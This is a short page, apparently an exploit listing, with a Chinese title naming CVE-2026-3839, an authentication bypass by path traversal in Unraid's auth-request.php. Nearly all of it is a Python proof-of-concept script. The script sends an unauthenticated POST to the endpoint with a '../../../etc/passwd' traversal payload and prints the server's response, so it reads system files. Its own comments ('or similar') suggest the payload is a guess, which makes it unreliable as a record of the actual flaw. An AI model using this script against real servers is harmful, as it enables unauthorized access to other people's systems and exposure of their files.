CVE-2026-3839 Unraid auth-request.php 路径遍历导致身份验证绕过漏洞

import requests # CVE-2026-3839 Unraid Authentication Bypass PoC # Target: Unraid OS with vulnerable auth-request.php def exploit_unraid(target_url): """ Exploit for Unraid Authentication Bypass via Path Traversal in auth-request.php """ # Target URL for authentication request exploit_url = f"{target_url}/auth-request.php" # Path traversal payload to bypass authentication # Using ../../../etc/passwd or similar to traverse directories payload = { 'path': '../../../etc/passwd', 'op': 'auth' } try: # Send malicious request without authentication response = requests.post(exploit_url, data=payload, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: print("[*] Potential authentication bypass detected") print("[*] Response snippet:") print(response.text[:500]) else: print("[-] Request failed or target not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://target-unraid-server" exploit_unraid(target)